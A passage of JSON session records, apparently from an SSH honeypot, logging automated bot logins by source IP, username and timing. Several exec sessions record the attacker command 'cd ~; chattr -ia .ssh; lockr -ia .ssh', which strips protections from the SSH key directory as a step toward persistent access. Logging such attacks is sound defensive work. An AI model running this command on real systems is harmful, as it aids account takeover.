  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59110,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:18.795561+00:00",
  "ended_at": "2026-08-27T11:34:19.476745+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4008271-0046-4efb-9787-d756955e2972",
  "name": "boreal-twilight-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 38424,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:58.399131+00:00",
  "ended_at": "2026-08-27T11:33:59.737573+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "ff093cec-f590-4c1c-bd7f-e90971facd80",
  "name": "inland-tender-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 55966,
  "username": "anu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:52.709062+00:00",
  "ended_at": "2026-08-27T11:33:53.939195+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2057
 },
 {
  "id": "21802301-fd48-4d60-ba5c-a3abf5b01cc8",
  "name": "wandering-proud-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55984,
  "username": "anu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:42.702220+00:00",
  "ended_at": "2026-08-27T11:33:43.309468+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69a3a57b-700f-431a-b2fb-1db5513a8f1d",
  "name": "fringed-knotted-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55982,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:41.370695+00:00",
  "ended_at": "2026-08-27T11:33:42.048089+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c98a2576-2a1c-4396-91cf-2ea36f5efc6c",
  "name": "hardy-blithe-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38446,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:36.548262+00:00",
  "ended_at": "2026-08-27T11:33:38.468775+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6227696f-f72d-4455-b05d-6bf07c9df165",
  "name": "gloomy-lanky-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 49668,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:34.784949+00:00",
  "ended_at": "2026-08-27T11:33:36.983931+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2280
 },
 {
  "id": "9de55cc8-b509-4977-acc0-2f5c615d4660",
  "name": "regal-electric-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38436,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:33.165817+00:00",
  "ended_at": "2026-08-27T11:33:35.091578+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1000f9a7-5a10-4144-8b34-43e7dbc7b374",
  "name": "emerald-regal-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57586,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:13.248082+00:00",
  "ended_at": "2026-08-27T11:33:14.551311+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "0e52af9b-d46b-4582-9ced-a8b1801e9be4",
  "name": "nameless-regal-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 49682,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:10.265155+00:00",
  "ended_at": "2026-08-27T11:33:11.162532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f160dc9c-9587-4899-9181-4e81da7c2654",
  "name": "emerald-vigilant-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 49674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:08.533883+00:00",
  "ended_at": "2026-08-27T11:33:09.750383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a33b073d-e5b5-4e37-b92a-13b90f60a6ad",
  "name": "blunt-indigo-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57600,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:00.577684+00:00",
  "ended_at": "2026-08-27T11:33:02.517894+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efc61219-6a70-42e2-9b0f-c9740f542228",
  "name": "supple-thrifty-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57592,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:32:58.307104+00:00",
  "ended_at": "2026-08-27T11:32:59.999582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "030de59d-01f2-4271-a646-497462f59b23",
  "name": "velvet-barren-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37188,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:59.093176+00:00",
  "ended_at": "2026-08-27T11:31:59.758305+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2055
 },
 {
  "id": "88a7f256-05e4-4b85-bda5-ef959a57e958",
  "name": "misty-granite-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 46952,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:51.230817+00:00",
  "ended_at": "2026-08-27T11:31:52.307879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08c1f23a-db2c-4621-aca2-db71ff9f4baa",
  "name": "fleeting-foggy-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59086,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:49.000113+00:00",
  "ended_at": "2026-08-27T11:31:50.368150+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "60d732a3-7454-40c0-aab0-f64714cc3ace",
  "name": "stoic-blazing-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37202,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:48.828844+00:00",
  "ended_at": "2026-08-27T11:31:50.543061+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ed84bb1-120d-46aa-8e06-a66eae36dbb3",
  "name": "patient-calm-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55448,
  "username": "sysop",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:40.849882+00:00",
  "ended_at": "2026-08-27T11:31:43.052074+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2213
 },
 {
  "id": "8f9d1178-e66e-431c-9767-cc7e853b59c2",
  "name": "russet-rustic-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59096,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:32.354875+00:00",
  "ended_at": "2026-08-27T11:31:33.561608+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c7b91d6-99b2-40cc-b54a-49459c292eea",
  "name": "lunar-jovial-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59088,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:29.979657+00:00",
  "ended_at": "2026-08-27T11:31:31.473824+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d8d1183-b05f-4bd5-9935-17ca29b6df2c",
  "name": "quiet-alpine-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55460,
  "username": "sysop",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:13.861421+00:00",
  "ended_at": "2026-08-27T11:31:15.541831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1a4d01e-b56f-4abf-8a54-0c0476c99b48",
  "name": "merry-blazing-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55458,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:11.881209+00:00",
  "ended_at": "2026-08-27T11:31:13.347816+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "439ccd49-b4b1-4e21-8cc7-4c818ee8528b",
  "name": "loyal-vernal-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 59900,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 770,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:08.661148+00:00",
  "ended_at": "2026-08-27T11:31:10.206764+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2234
 },
 {
  "id": "05ba90af-81c7-4248-812c-218af65de5d7",
  "name": "rambling-kindly-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 54726,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:08.652883+00:00",
  "ended_at": "2026-08-27T11:31:09.337804+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
  "id": "11960049-fa9f-4335-8f37-0819ef80d3a8",
  "name": "sleepy-icy-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 54750,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:01.296865+00:00",
  "ended_at": "2026-08-27T11:31:02.379085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94ad2b72-55ba-474e-8fef-811ea28f63bc",
  "name": "languid-dapper-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 54734,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:30:59.202551+00:00",
  "ended_at": "2026-08-27T11:31:00.694143+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d60ab65b-fe38-4467-af6a-f36abc0363e5",
  "name": "thawing-curious-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:30:45.393696+00:00",
  "ended_at": "2026-08-27T11:30:47.218048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f060a63-848e-45fc-a816-938ed6e826b4",
  "name": "wandering-foggy-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59916,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:30:42.432629+00:00",
  "ended_at": "2026-08-27T11:30:43.942572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75e0d1c1-2119-4298-b11c-7305bd833462",
  "name": "barren-western-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 55158,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:29:53.805813+00:00",
  "ended_at": "2026-08-27T11:29:54.454812+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "9e1487d8-6c72-4cd5-b38b-ab3b0b56c53e",
  "name": "sullen-faded-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55164,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:45.013165+00:00",
  "ended_at": "2026-08-27T11:29:46.307131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "535ecacb-756d-45b5-a853-aaa019545408",
  "name": "peaty-rapid-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55162,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:42.447312+00:00",
  "ended_at": "2026-08-27T11:29:44.352184+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4112604a-250e-44d3-9f97-5af87a43efea",
  "name": "golden-ivory-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 45946,
  "username": "dmp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:29:39.321131+00:00",
  "ended_at": "2026-08-27T11:29:40.409917+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2206
 },
 {
  "id": "62f37105-1d44-44e7-bb2a-7dbaf3dddc53",
  "name": "sullen-electric-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 45970,
  "username": "dmp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:15.465347+00:00",
  "ended_at": "2026-08-27T11:29:17.325600+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4414fb52-234b-4d15-8b1d-8568bbbfe925",
  "name": "brave-russet-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 45962,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:14.264122+00:00",
  "ended_at": "2026-08-27T11:29:14.935137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7338cb8b-e99c-4638-9e23-187ab0939eab",
  "name": "northern-granite-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 47946,
  "username": "yf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:28:57.550615+00:00",
  "ended_at": "2026-08-27T11:28:58.161223+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2032
 },
 {
  "id": "21e6d30b-88fb-4bb2-b82f-051f6e4f2907",
  "name": "meadow-humble-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59058,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 458,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:28:52.029580+00:00",
  "ended_at": "2026-08-27T11:28:53.124626+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "e93c504c-02f8-4f14-9a11-cde45d9acd15",
  "name": "jolly-kindly-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47954,
  "username": "yf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:49.564318+00:00",
  "ended_at": "2026-08-27T11:28:51.438566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "64b1c23f-d8ed-4df4-96a3-3dd44636bad1",
  "name": "sturdy-shifting-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47950,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:48.015673+00:00",
  "ended_at": "2026-08-27T11:28:48.979054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab531963-68d1-403f-a77c-563c48c2355b",
  "name": "smoky-spirited-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59080,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:34.785282+00:00",
  "ended_at": "2026-08-27T11:28:35.990120+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7bbd25d-b920-4b5e-9f47-34996f672683",
  "name": "snowy-dappled-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59074,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:32.009569+00:00",
  "ended_at": "2026-08-27T11:28:33.871801+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a705bec3-cd3b-4e7e-8f91-ab00f2b4ef8a",
  "name": "salty-hazy-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 47314,
  "username": "suhail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:28:11.670538+00:00",
  "ended_at": "2026-08-27T11:28:12.932115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2174
 },
 {
  "id": "84dec3a1-820a-412e-a3d0-69216434b11d",
  "name": "autumn-golden-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49828,
  "username": "suhail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:27:49.206844+00:00",
  "ended_at": "2026-08-27T11:27:50.451577+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f39bce6a-8a36-4d5d-952a-2244c378823a",
  "name": "mellow-daring-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47324,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:27:46.437579+00:00",
  "ended_at": "2026-08-27T11:27:47.700575+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9045f81a-9116-4ae4-a163-1edf5f52e5a7",
  "name": "foggy-crimson-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 47924,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:27:39.747860+00:00",
  "ended_at": "2026-08-27T11:27:40.968013+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2229
 },
 {
  "id": "58bf3661-251f-4afc-8f03-23eeb6749c02",
  "name": "earnest-amiable-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 43844,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:27:17.612478+00:00",
  "ended_at": "2026-08-27T11:27:19.027888+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65feb5e2-28ee-493e-963e-03cd4cadf521",
  "name": "gallant-shifting-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 47934,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:27:15.263910+00:00",
  "ended_at": "2026-08-27T11:27:17.092262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d7d245a-9145-438f-8b8a-e27f078306ed",
  "name": "distant-balmy-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57984,
  "username": "danny",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:26:21.314547+00:00",
  "ended_at": "2026-08-27T11:26:22.563901+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6b51dd0-0841-4892-9530-919ad3905d4e",
  "name": "coastal-noble-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59022,
  "username": "gitlab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:26:05.452188+00:00",
  "ended_at": "2026-08-27T11:26:07.004443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2186
 },
 {
  "id": "c2a54a67-d7a2-4769-b760-86d57b773a5d",
  "name": "granite-quartz-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59042,
  "username": "gitlab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:48.170738+00:00",
  "ended_at": "2026-08-27T11:25:50.103421+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e946322-b3b0-4a41-8174-8fdf7e3823c4",
  "name": "nautical-fleeting-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38880,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
